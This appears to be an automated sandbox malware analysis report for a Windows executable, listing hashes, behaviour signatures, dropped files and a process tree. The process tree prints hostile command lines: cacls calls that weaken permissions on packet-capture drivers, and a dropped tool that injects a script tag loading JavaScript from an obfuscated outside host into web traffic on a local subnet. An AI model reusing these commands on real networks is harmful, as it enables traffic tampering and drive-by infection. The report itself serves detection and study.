Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23/08/2024, 16:52

General

  • Target

    bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe

  • Size

    525KB

  • MD5

    bc8c9a6238d401deef5d4be9762111d0

  • SHA1

    7bfedd5c4701d3baf2e2877ae617436c39b72d1f

  • SHA256

    f8d8cc148780ddee06315105a0cffa14df78b301aeefcc61c0df85806ecb0701

  • SHA512

    6c34c13bc2175a5972984eab4f997611b440566b4505d5e74ff03f1a0c7817e4ac63d55c8874768c1f3c254485adbee41e0af9aa7f3d46f3a1588ac2611777c4

  • SSDEEP

    6144:ThcMSbaohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QGKoS:TSNa2E9/cZw/X6eSPtfS6G6NoS

Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe"
    1⤵
    • Drops file in Drivers directory
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2336
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2856
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2736
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2212
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2636
    • C:\Windows\SysWOW64\360ucwu.exe
      -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://b%77z.K%77%69k.%54o/tj.js></script>"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3068
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c 12.bat
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2232

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\12.bat

    Filesize

    2KB

    MD5

    9a3059f67908165abf03b7cb7741ba11

    SHA1

    1881920b6e7b49cdff05616e8ec99af8b92d1c5a

    SHA256

    d5f826bac43cf190b98408189a3d7dfa1890647f0199b9d60c84f85a76ed1891

    SHA512

    d5c9b1e8e06848594d1c572b5df5bf14c935d0a8d23c2ded758ca2621ec74f3e64982b98ccf2360763b1ec66d30165c025383ebe788e25867f44f2344e3cf961

  • \Windows\SysWOW64\360ucwu.exe

    Filesize

    8.0MB

    MD5

    2ed9163d3a4c130dc2f730fa3364657c

    SHA1

    a63b7959e2bece3f0bbba0552fe317bed5ca532a

    SHA256

    de085eb65237708f93873a2fe3f809a204b1e205bed5d1cea03eeb3056ede781

    SHA512

    1af133964522bebe4f2586faaf3ea30877cb3cc2e49fb36589f0fb44a34a3f7a86ee58ad5a48ab1dcd7a46cd016f6ab12f7d7b55b713f59e78d7e7a61b398bed

  • \Windows\SysWOW64\Packet.dll

    Filesize

    86KB

    MD5

    9062aeea8cbfc4f0780bbbefad7cebcb

    SHA1

    c4ad39ec51ad0e84fe58f62931d13cddfde3189e

    SHA256

    b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

    SHA512

    60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

  • \Windows\SysWOW64\WanPacket.dll

    Filesize

    66KB

    MD5

    fdd104a9fd3427a1df37041fa947a041

    SHA1

    cca1881a3c02033008f78cc39b712b637c7f3e13

    SHA256

    384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

    SHA512

    9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

  • \Windows\SysWOW64\wpcap.dll

    Filesize

    234KB

    MD5

    ce842d25e5b7e6ff21a86cad9195fbe8

    SHA1

    d762270be089a89266b012351b52c595e260b59b

    SHA256

    7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

    SHA512

    84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

  • memory/2976-0-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/2976-1-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/2976-8-0x00000000003F0000-0x00000000003FF000-memory.dmp

    Filesize

    60KB

  • memory/2976-31-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/3068-23-0x0000000000400000-0x000000000040F000-memory.dmp

    Filesize

    60KB

  • memory/3068-22-0x0000000000030000-0x0000000000040000-memory.dmp

    Filesize

    64KB

  • memory/3068-19-0x0000000000220000-0x0000000000235000-memory.dmp

    Filesize

    84KB